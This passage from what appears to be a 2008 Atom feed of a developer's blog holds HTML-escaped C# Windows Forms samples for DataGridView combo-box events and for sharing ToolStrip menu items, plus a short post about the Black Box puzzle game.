class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Buzz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;FizzBuzz&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DefaultCellStyle&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;NullValue&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Bar&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Columns&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fooColumn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// hook up editing control showing event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;EditingControlShowing&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewEditingControlShowingEventHandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_dataGridView_EditingControlShowing&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// create a delegate for the method that will handle the event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_comboBoxSelectDelegate&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventHandler&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combo_SelectionChangeCommitted&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridView&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventHandler&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_comboBoxSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_dataGridView_EditingControlShowing&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DataGridViewEditingControlShowingEventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// get the control from the event args.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ComboBox&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Control&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ComboBox&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// remove the event subscription if it exists.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SelectionChangeCommitted&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;-=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;comboSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// add a subscription to the event&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;combo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SelectionChangeCommitted&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;comboSelectDelegate&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combo_SelectionChangeCommitted&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// handle the event, and end edit mode&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;_dataGridView&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;EndEdit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content>
	</entry>
	<entry>
		<title>Black Box OMG it&#39;s addictive.</title>
		<id>https://blog.thoward37.me/articles/black-box-omg-its-addictive</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/black-box-omg-its-addictive" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/black-box-omg-its-addictive" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/black-box-omg-its-addictive" type="text/html"></link>
		<published>2008-03-08T00:30:00+00:00</published>
		<updated>2008-03-08T00:30:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;BlackBox - A simple puzzle game where you shoot rays of light into a black box, and determine the location of atoms inside the box based on the entry and exit points of the ray.&lt;/p&gt;&#xA;&lt;p&gt;Seriously addicting.&lt;/p&gt;&#xA;&lt;p&gt;Here is a &lt;a href=&#34;http://en.wikipedia.org/wiki/Black_Box_%28game%29&#34;&gt;Wiki article about it&lt;/a&gt; and an online-playable &lt;a href=&#34;http://home.flash.net/~gpb/bbox/bbox.html&#34;&gt;Flash version&lt;/a&gt;.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;p&gt;BlackBox - A simple puzzle game where you shoot rays of light into a black box, and determine the location of atoms inside the box based on the entry and exit points of the ray.&lt;/p&gt;&#xA;&lt;p&gt;Seriously addicting.&lt;/p&gt;&#xA;&lt;p&gt;Here is a &lt;a href=&#34;http://en.wikipedia.org/wiki/Black_Box_%28game%29&#34;&gt;Wiki article about it&lt;/a&gt; and an online-playable &lt;a href=&#34;http://home.flash.net/~gpb/bbox/bbox.html&#34;&gt;Flash version&lt;/a&gt;.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Sharing Menu Items between ToolStrips on a Windows Form</title>
		<id>https://blog.thoward37.me/articles/sharing-menu-items-between-toolstrips-on-a-windows-form</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/sharing-menu-items-between-toolstrips-on-a-windows-form" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/sharing-menu-items-between-toolstrips-on-a-windows-form" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/sharing-menu-items-between-toolstrips-on-a-windows-form" type="text/html"></link>
		<published>2008-02-13T18:52:00+00:00</published>
		<updated>2008-02-13T18:52:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;So, you may have found yourself building a nice user-friendly, somewhat complicated Windows Forms application, that had lots of drop-down menus and right click context menus, and what not.. You may have naively assumed that you could &lt;em&gt;share&lt;/em&gt; your menu items, so that you have a consistent set of options, icons, and more importantly event handlers for a particular menu item or set of menu items.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, I did... I had a &lt;code&gt;Tools&lt;/code&gt; drop-down menu with some basic functions that I wanted to also be accessible from a right-click content menu on a &lt;code&gt;TreeView&lt;/code&gt;. Redundant? Sure... Convenient? Definitely.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s a little annoying detail that says that a &lt;code&gt;ToolStripMenuItem&lt;/code&gt; can&#39;t be &amp;quot;owned&amp;quot; by more than one &lt;code&gt;ToolStrip&lt;/code&gt;. In other words, it can only be in one place at a time. So, when you do something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;toolsToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DropDownItems&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;treeNodeContextToolStrip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The menu item in question suddenly disappears from the tools menu, and appears in the content menu... Hmm...&lt;/p&gt;&#xA;&lt;p&gt;So, in order to share the menu item, I came up with this hackish solution....I handled the &lt;code&gt;Opening&lt;/code&gt; event for the two menu strips and in each one, &amp;quot;took ownership&amp;quot; of the menu item. So, through sleight-of-hand it seems to exist in one place at a time. We can only get away with this because, ToolStrips, being modal, only show one at a time.&lt;/p&gt;&#xA;&lt;p&gt;So, here&#39;s a simple sample:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;treeNodeContextMenuStrip_Opening&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CancelEventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;n&#34;&gt;treeNodeContextMenuStrip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Insert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;myToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;toolsToolStripMenuItem_DropDownOpening&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;EventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;toolsToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DropDownItems&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Insert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</summary>
		<content type="html">&lt;p&gt;So, you may have found yourself building a nice user-friendly, somewhat complicated Windows Forms application, that had lots of drop-down menus and right click context menus, and what not.. You may have naively assumed that you could &lt;em&gt;share&lt;/em&gt; your menu items, so that you have a consistent set of options, icons, and more importantly event handlers for a particular menu item or set of menu items.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, I did... I had a &lt;code&gt;Tools&lt;/code&gt; drop-down menu with some basic functions that I wanted to also be accessible from a right-click content menu on a &lt;code&gt;TreeView&lt;/code&gt;. Redundant? Sure... Convenient? Definitely.&lt;/p&gt;&#xA;&lt;p&gt;There&#39;s a little annoying detail that says that a &lt;code&gt;ToolStripMenuItem&lt;/code&gt; can&#39;t be &amp;quot;owned&amp;quot; by more than one &lt;code&gt;ToolStrip&lt;/code&gt;. In other words, it can only be in one place at a time. So, when you do something like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;toolsToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;DropDownItems&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;treeNodeContextToolStrip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;myMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The menu item in question suddenly disappears from the tools menu, and appears in the content menu... Hmm...&lt;/p&gt;&#xA;&lt;p&gt;So, in order to share the menu item, I came up with this hackish solution....I handled the &lt;code&gt;Opening&lt;/code&gt; event for the two menu strips and in each one, &amp;quot;took ownership&amp;quot; of the menu item. So, through sleight-of-hand it seems to exist in one place at a time. We can only get away with this because, ToolStrips, being modal, only show one at a time.&lt;/p&gt;&#xA;&lt;p&gt;So, here&#39;s a simple sample:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;treeNodeContextMenuStrip_Opening&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;sender&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CancelEventArgs&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;e&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;n&#34;&gt;treeNodeContextMenuStrip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Items&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Insert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;myToolStripMenuItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span 